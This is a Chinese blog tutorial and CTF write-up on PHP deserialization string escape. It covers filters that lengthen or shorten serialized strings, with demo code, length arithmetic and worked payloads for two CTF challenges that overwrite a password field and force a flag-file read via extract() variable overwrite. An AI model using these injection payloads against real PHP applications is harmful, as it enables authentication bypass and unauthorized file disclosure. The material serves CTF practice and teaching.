反序列化字符串逃逸
PHP反序列化特点
PHP在反序列化时,底层代码是以 ; 作为字段的分隔,以 } 作为结尾(字符串除外),并且是根据长度判断内容的 ,同时反序列化的过程中必须严格按照序列化规则才能成功实现反序列化 。例如下图超出的abcd部分并不会被反序列化成功。

02 当序列化的长度不对应的时候会出现报错

PHP反序列化字符逃逸
字符逃逸的本质其实也是闭合,但是它分为两种情况,一是字符变多,二是字符变少
字符逃逸(字符增多)
<?php
function filter($string){
$filter = '/p/i';
return preg_replace($filter,'WW',$string);
}
$username = 'purplet';
$age = "10";
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

构造修改age的值的代码:";i:1;s:2:"20";},再计算一下构造的代码长度为16,同时知晓Demo的过滤是每有一个p就会多出一个字符,那么此时就再需要输入16个p,与上面构造的代码:";i:1;s:2:"20";}拼接,即:username的值此时传入的是: pppppppppppppppp";i:1;s:2:"20";},这样序列化对应的32位长度在过滤后的序列化时会被32个w全部填充,从而使我们构造的代码 ";i:1;s:2:"20";} 成功逃逸,修改了age的值。

即设一开始要x个p,因为p被替换为ww,即1个变为2个,也就是x+16=2x,所以x=16,要16个p
判断每个字符过滤后会比原字符多出几个。如果多出一个就与上述相同,如果多出两个。则可以理解上面的Demo中的p过滤后会变成3个W,我们构造的代码长度依然是16,也就是x+16=3x,解得x=8,既要8个p
字符逃逸(字符减少)
<?php
function filter($string){
$filter = '/pp/i';
return preg_replace($filter,'W',$string);
}
$username = 'ppurlet';
$age = '10';
$user = array($username, $age);
var_dump(serialize($user));
echo "<pre>";
$r = filter(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>

再看这个Demo,很明显两个p变成了一个W,但是前面的长度依然是7,因为过滤后的字符长度变小了,所以该7位数值将向后吞噬了第一个“到;结束,所以这种问题就不再是只传递一个值,而应该在username处传递构造的过滤字符,age处传递逃逸代码。
字符逃逸(字符减少构造三步走)
第一步
利用Demo中的代码将age的值修改为想要修改的数值,即:20,得到age处序列化的值为;i:1;s:2:"20";},那么把这段数值再次传入Demo代码的age处(该值即为最终的逃逸代码),而此时username传递的p的数值无法确定,先可随意构造,查看结果

第二步
age处传递一个任意数值和双引号进行闭合,即:再次传入age = A";i:1;s:2:"20";},查看结果,这里的A可以看情况改为ab,abc等等,为了凑齐而已,其实好像没有A也可以,只是为了好看点

第三步
计算选中部分(长度为13)根据过滤后字符缩减情况构造,Demo中每两个p变为1个W,相当于逃逸1位(选中部分即为逃逸字符)所以输入13*2=26个p进行逃逸,即最终传递usernmae=pppppppppppppppppppppppppp,age=A";i:1;s:2:"20";}

字符串逃逸之减少例子二:
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = $_GET['v1'];
$b = $_GET['v2'];
$data = serialize(new A($a,$b));//将传入的v1,v2的值放进A类中然后将A实例化的对象进行序列化
$data = str_replace("system()","",$data);
//将得到的序列化后的字符串中的system()字符替换为空
var_dump(unserialize($data));
?>
object(A)#1 (2) { ["v1"]=> NULL ["v2"]=> NULL }
将代码稍微修改一下:
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
public function __construct($arga,$argc){
$this->v1 = $arga;
$this->v2 = $argc;
}
}
$a = "system()";
$b = "system()";
$data = serialize(new A($a,$b));
$data = str_replace("system()","",$data);
var_dump($data);
?>
输出结果:
string(44) "O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:8:"";}"
可以看到上面输出的结果中字符串长度是8,但是其实里面没有字符串了。如果进行反序列化的话,是失败的
但是看这个字符串
string(44) "O:1:"A":2:{s:2:"v1";s:8:"";s:2:"v2";s:8:"";}"
由于长度的读取是按照前面的数字来确定的,不是后面的字符串
也就是说:
s:8:" ";s:2"v2
一直到v2这个字符这块都是属于v1的字符串的
如果我们想插入一个v3,删掉v2的话(其实也就是逃逸v3),应该怎么做呢?
看下面这个:
<?php
class A{
public $v1 = "abcsystem()system()system()";
public $v2 = '123';
}
$data = serialize(new A());
$data = str_replace("system()","",$data);
var_dump($data);
?>
"O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}"
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3:"123";}
变成下面这样就可以====>
O:1:"A":2:{s:2:"v1";s:?:"abc";s:2:"v2";s:3:";s:2:"v3":N;}
现在问题来了?怎么能变成这样?又怎么凭空多出来v3变量?
就用到下面几点:
- str_replace会将system()替换为空
- 反序列化读取字符串的时候的停止位置 只与前面确定字符串长度的数字有关
- str_replace由于是直接替换,并不会改变前面确定字符串长度的数字
所以思路就是:
- 通过写入system来增大前面确定字符串长度的数字
- system被替换后为空,导致反序列化会根据确定字符串长度的数字继续向后读取字符串
- 通过这样的读取,来将v2所在的位置全部当作字符串读取进v1变量
- 再通过传入v2的参数来增加一个v3变量及其数据
具体操作:
O:1:"A":2:{s:2:"v1";s:27:"abc";s:2:"v2";s:3;"123";}
要被吃掉的字符为:
";s:2:"v2";s:3;"123"
一共20个字符
O:1:"A":2:{s:2:"v1";s:20:"system()system()system()";s:2:"v2";s:3:"";s:2:"v3";N;}";}
===》(由于一个system可以吃掉8个字符,两个system()吃不完20个字符,所以至少需要三个system())
O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:3:"";s:2:"v3";N;}";}
但是由于三个system()又会将我们构造v3吃掉
所以必须通过v2来增加长度,来保证不会吃到v3
O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:4:"1234567";s:2:"v3";N;}";}
但是这样还是有问题,v2的字符串长度为4,在序列化的时候由于还加入了;s:2:"v3":N;}作为v2的字符串,长度不可能为4,所以在这里还要将v2的长度更改一下
O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
<?php
class A{
public $v1 = "system()system()system()";
public $v2 = '1234567";s:2:"v3";N;}';
}
$data = serialize(new A());
echo $data;
$data = str_replace("system()","",$data);
echo $data;
var_dump(unserialize($data));
?>
O:1:"A":2:{s:2:"v1";s:24:"system()system()system()";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
O:1:"A":2:{s:2:"v1";s:24:"";s:2:"v2";s:21:"1234567";s:2:"v3";N;}";}
object(A)#1 (3) {
["v1"]=>
string(24) "";s:2:"v2";s:21:"1234567"
["v2"]=>
string(21) "1234567";s:2:"v3";N;}"
["v3"]=>
NULL
}
真题解析
[CTFSHOW]Web1此夜圆 ->字符增多
原题:
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='yu22x')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
大致看了一下代码,发现我们只要将password的值设置为yu22x即可,但是接着往下看,看到了$password=1,紧接着就开始进行序列化的操作,也就是说我们的password是已经默认为1了,我们要做的就是将password=1替换为yu22x,看到了
function filter($string){
return str_replace('Firebasky','Firebaskyup',$string);
}
#增加了2个
应该就是反序列化字符串逃逸了
(1)改一下源码,先随便给uname赋值,反正和他没关系,但要给password赋值为yu22x,因为这才符合题目要求,这也是我们后面要覆盖的内容,看看序列化后的结果
<?php
error_reporting(0);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
}
$b=new a($uname,$password);
$b->uname="123";
$b->password="yu22x";
echo serialize($b);
?>
##结果为 O:1:"a":2:{s:5:"uname";s:3:"123";s:8:"password";s:5:"yu22x";}
##也就是要覆盖";s:8:"password";s:5:"yu22x";}一共30个字符
也就是说我们要在uname传入15个Firebasky,来达到逃逸
payload:
1=FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}
最后服务端处理的如下,当看到s:30时,他只会往下读30个字符,刚好会读到},也就认为结束了,这样就覆盖了原来服务器的password的值
{s:5:"uname";s:30:"FirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebaskyFirebasky";s:8:"password";s:5:"yu22x";}";s:8:"password";i:1;}

[安洵杯2019]easy_serialize_php ->字符减少
<?php
$function = @$_GET['f'];// 从URL参数获取f的值
function filter($img){// 过滤掉黑名单中的字符串
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);// 清空现有session
}
$_SESSION["user"] = 'guest';// 设置默认用户
$_SESSION['function'] = $function; // 存储function到session
extract($_POST);// 将POST参数转为变量,可以通过POST传参改变$_SESSION值
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';// 显示源码链接
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');// 默认图片
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));// 对图片路径加密
}
$serialize_info = filter(serialize($_SESSION));// 序列化后过滤特定字符串
if($function == 'highlight_file'){
highlight_file('index.php');// 显示当前文件源码
}else if($function == 'phpinfo'){// 执行phpinfo()
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);// 反序列化
echo file_get_contents(base64_decode($userinfo['img']));// 读取并显示img内容
}
(1)根据提示查看php配置信息(?f=phpinfo)

找到flag相关php文件,
根据上面代码分析,我们注意用到这一句:
echo file_get_contents(base64_decode($userinfo['img']));
我们需要构造img的值,去输出我们需要的内容,
有两个方式可以更改img的值:
1.GET传参img_path,
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
但是传入的数据要经过base64加密和sha1加密,echo file_get_contents(base64_decode($userinfo['img']));只对base64解密,
所以这个方式不行。
2.利用extract变量覆盖,POST传参修改$_SESSION['img'],
extract($_POST);
$serialize_info = filter(serialize($_SESSION));
这个地方可以利用反序列化字符逃逸漏洞。
(2)构造payload
d0g3_f1ag.phpbase64编码ZDBnM19mMWFnLnBocA==,
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:7:"payload";s:4:"hack";}
##后面的s:7:"payload";s:4:"hack";}我认为是为了保证a:3这个条件,即要有3个
即题目里的SESSION有三个参数,而我们第二行构造的代码中以}结尾了,所以反序列化后只能出现两个参数,没有满足要求,所以不会成功反序列化,那么只需要再任意补充一段序列化值即可

补充:这里的payload还可以为:
_SESSION[phpflag]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
即为:
a:2:{s:7:"phpflag";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
经过filter过滤后phpflag就会被替换成空
s:7:“phpflag"就变成了 s:7:”"
但是这里会出现问题,因为这里要求的字符串的长度为7,但是这里却是空字符串。所以它会向后索取字符串。直到长度正好为7。
细心的话,可以看到 ";s:48: 这个字符串的长度正好为7
当phpflag被替换成空字符串时,原本的键值对就变成:
第一个变量的名: s:7:"";s:48:";
第一个变量的值: s:1:“1”;
第二个变量的名: s:3:“img”;
第二个变量的值: s:20:“ZDBnM19mMWFnLnBocA==”;
再加上PHP序列化的严格规定,会把后面多余的字符串丢弃。就变成了:
a:1:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}成功包含了d0g3_f1ag.php这个文件
注:自己的看法:先随便构造一个payload,看看输出
<?php
$function = "123";
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
echo $serialize_info;
##结果为a:3:{s:4:"user";s:5:"guest";s:8:"function";s:3:"123";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}
##因为d0g3_f1ag.php`base64编码ZDBnM19mMWFnLnBocA==,要把上面的Z3Vlc3RfaW1nLnBuZw==替换为ZDBnM19mMWFnLnBocA==,并且他们长度都为20,直接替换就行:
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:3:"123";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
所以通过extract变量覆盖把$_SESSION[function]的值改为";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}(把那个123去掉更方便),结果如下:
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:38:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:16:"Z3Vlc3RfaW1nLnBuZw==";}
## 这里就要把$_SESSION[user]的值改为能被过滤的,让他包含进 ";s:8:"function";s:38:" ,长度为23,也就是5个flag加上1个php即可
(3)最后,再将获得的flag文件路径base64加密(即对/),重新构造payload即可,即对 /d0g3_fllllllag进行加密为L2QwZzNfZmxsbGxsbGFn
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:7:"payload";s:4:"hack";}
(4)对读取d0g3_f1ag.php的漏洞利用过程分析
(1)构造恶意输入(但是题目里的SESSION有三个参数,而我们第二行构造的代码中以}结尾了,所以反序列化后只能出现两个参数,没有满足要求,所以不会成功反序列化,那么只需要再任意补充一段序列化值即可)
恶意构造:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
(2)正常序列化
// 序列化后
a:3:{
s:4:"user";s:23:"flagflagflagflagflagphp";
s:8:"function";s:38:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
s:3:"img";s:16:"Z3Vlc3RfaW1nLnBuZw==";
}
(3)过滤操作
filter()函数删除所有的'flag'和'php':
原字符串:"flagflagflagflagflagphp"(23字符)
删除5个"flag"(4×5=20字符) + 1个"php"(3字符)
剩余:””(空字符串,0字符)
但长度标识仍然是s:23
a:3:{
s:4:"user";s:23:""; // 这里实际只有0字符,但PHP会读取23字符的位置
s:8:"function";s:38:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";
s:3:"img";s:16:"Z3Vlc3RfaW1nLnBuZw==";
}
(5)反序列化时的错误解析
PHP会:
读取s:23:"",但发现只有0个字符(””)
继续向后读取23个字符来凑够23字符的长度
这23个字符恰好是:";s:8:"function";s:38:"
最终重组为:
a:2:{
s:4:"user";s:23:"";s:8:"function";s:38:"";
s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
";s:3:"img";s:16:"Z3Vlc3RfaW1nLnBuZw==";
}
这样就利用巧妙的闭合改写了img的值
还有一个解法思路:
<?php
function filter($img)
{
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'flagflag';//先随便写两个,至于最后是
多少再补充
$_SESSION["function"] = '123';//先随便写
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>

第二步,修改$_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

第三步,计算选中部分长度(构造逃逸代码)令$_SESSION[user]为6个4位长度的字符(flag)或者8个3位长度的字符(php)但是题目里的SESSION有三个参数,而我们第二行构造的代码中以}结尾了,所以反序列化后只能出现两个参数,没有满足要求,所以不会成功反序列化,那么只需要再任意补充一段序列化值即可。
最终POC:
<?php
function filter($img)
{
$filter_arr = array('php', 'flag', 'php5', 'php4', 'fl1g');
$filter = '/' . implode('|', $filter_arr) . '/i';
return preg_replace($filter, '', $img);
}
$_SESSION["user"] = 'phpphpphpphpphpphpphpphp';//过滤后向后吃24个字符
$_SESSION["function"] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:4:"name";s:7:"purplet";}';
$_SESSION["img"]='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
echo "<pre>";
$serialize_info = filter(serialize($_SESSION));
var_dump($serialize_info);
var_dump(unserialize($serialize_info));
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
?>

得到flag的真正位置后再重新对该值进行一下Base64加密,替换了原Base64位置即可(因为加密后长度相同,所以不用再重新构造)

本文来自博客园,作者:Doll_Marker,转载请注明原文链接:https://www.cnblogs.com/dollaikun/p/20633899

浙公网安备 33010602011771号